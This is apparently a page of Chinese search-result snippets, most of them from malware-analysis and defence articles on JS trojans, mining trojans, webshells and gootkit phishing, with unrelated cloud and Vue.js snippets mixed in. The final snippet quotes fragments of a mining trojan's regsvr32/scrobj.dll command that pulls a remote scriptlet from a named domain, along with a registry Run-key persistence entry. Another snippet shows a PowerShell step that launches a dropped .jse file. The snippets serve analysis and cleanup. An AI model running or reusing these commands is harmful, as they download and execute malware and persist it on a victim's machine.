关键词

记一次JS木马分析

更有 jsfuck 这种比较奇葩的加密方式。使得让软件自动的识别特征码，查杀 js 恶意代码变的非常困难。对 javascript 恶意代码的检测已成为 web 信息安全领域一个亟待解决的问题。因为近期偶然发现一个 js 木马文件，所以想探寻一下 js 木马的混淆方法和这个木马起的作用。 0x01 解混淆首先打开 js 文件，看到的就是...

Bruce.Wang-记一次对JS木马分析

更有 jsfuck 这种比较奇葩的加密方式。使得让软件自动的识别特征码，查杀 js 恶意代码变的非常困难。对 javascript 恶意代码的检测已成为 web 信息安全领域一个亟待解决的问题。因为近期偶然发现一个 js 木马文件，所以想探寻一下 js 木马的混淆方法和这个木马起的作用。 0×01 解混淆首先打开 js 文件，看到的...

挖矿木马详解

攻击者通过各种手段将挖矿程序植入受害者的计算机中，在受害者不知情的情况下利用其计算机的云算力进行挖矿，从而获取利益，这类非法植入用户计算机的挖矿程序就是挖矿木马。挖矿木马，挖的是啥？由于比特币的成功，许多基于区块链技术的数字货币纷纷问世，如以太币、达世币等；从深信服安全团队接到的挖矿木马...

功能与优势

丰富的安全服务：提供 ddos 防护、dns劫持检测、入侵检测、漏洞扫描、网页木马检测、登录防护等安全服务，为您的服务器保驾护航。免费提供云监控：并支持...如果您倾向于使用 api 的方式对您的资源、应用和数据进行管理操作，您可以使用 sdk（支持 phppythonjava.netnode.js）编程或使用腾讯云命令行工具调用...

实例入门 Vue.js 单元测试

作为一个以文档丰富而广为人知的前端开发框架，vue.js的官方文档中分别在《教程-工具-单元测试》、《cookbook-vue组件的单元测试》里对vue 组件的单元测试方法做出了介绍，并提供了官方的单元测试实用工具库 vue test utils；甚至在状态管理工具 vuex 的文档里也不忘留出《测试》一章。那是什么原因让 vue.js 的...

网站漏洞测试关于webshell木马后门检测

在这之前客户的网站肯定被上传了webshell网站木马文件,随即我们对客户的网站源代码进行全面的人工安全检测与分析,对一句话木马特制eval,加密,包括文件上传的时间点,进行检查,发现在网站的js目录下存在indax.jsp,浏览器里打开访问,是一个jsp的脚本木马,可以对网站进行篡改,下载代码,新建文件,等网站管理员的操作,同理...

网络安全自学篇（二十三）| Web安全学习路线及木马、病毒和防御初探

木马初探特洛伊木马（trojan horse）是指寄宿在计算机里的一种非授权的远程控制程序这个名称来源于公元前十二世纪希腊和特洛伊之间的一场战争。由于...vbs是微软wsh脚本的一种，wsh是windows脚本宿主，支持vbs、js、wsh三种格式的脚本。脚本语言属于解释语言，编写vbs脚本没有什么特定要求，只要有系统带了...

一次freebuf溯源引发的木马后门分析

这篇文章是之前发在博客的，我特么的=-=今天有事耽搁了，另外一篇文章的排版没出来，为了拿原创的邀请。再发一遍吧。。下面是正文... 最近freebuf的某作者发布这篇文章真的是让人炸锅了，几乎是所有博彩seo流量的源头。没想到留后门这么好用，以后我也各个论坛发一些免杀木马了。其次作者自求多福吧，不要让人拿...

新型PPT钓鱼攻击分析（含gootkit木马详细分析）

invoke-item $env:tempii.jse我们可以看到这个js 文件，这个文件是经过强混淆的作用是下载个exe文件? 我们来详细分析下下载到的pe文件13cdbd8c31155610b628423dc2720419下图为样本的大致流程? 在样本的开始阶段，做了些反模拟机的工作，比如一些错误的函数调用，看返回值是否被修改，执行很多无效指令，来达到模拟机...

JS逆向时碰到了恶心的死代码怎么办？手把手教你解决！

花指令花指令是以前被大量运用在木马、病毒的免杀上的一种反反汇编手段，花指令中的“指令”通常指的是汇编中的 jmp、call 之类的调用、跳转指令...当然，这个代码是可以正常运行的，我们用nodejs跑一遍看看：? 看起来混淆并没有影响到正常的代码逻辑，我们再把这一坨代码给格式化一下看看：? 果不其然...

返现int木马程序主体，crn为壳文件，目的是下载int木马程序并运行，crn文件并未进行编码和混淆，清楚不太作者为何这么做 ? 将int扔到ida重新发现什么，只...kzcb8fcbjdxjsic1tmtaglwzzu0xrqs0gjdekziatbyrkcmnobw9kict4icrkoyrko3jtic1micrkcn0kdsgpihsked0vy3jucndnzxqglxqxic1umtaglxfvlsatty0gls1uby1jagvjay1...

记一次mykings&暗云挖矿木马的排查与解决

windowsinfaspnetlsma12.exe启动挖矿程序删除1.bat计划任务又出现了，第二条计划任务是通过ftp向ftp.ftp1202.site站点下载挖矿木马，访问ftp.ftp1202.site...js.ftp1202.site:280v.sct scrobj.dll freg addhklmsoftwarewow6432nodemicrosoftwindowscurrentversionrun v start d regsvr32 us i:http:js.ftp1202...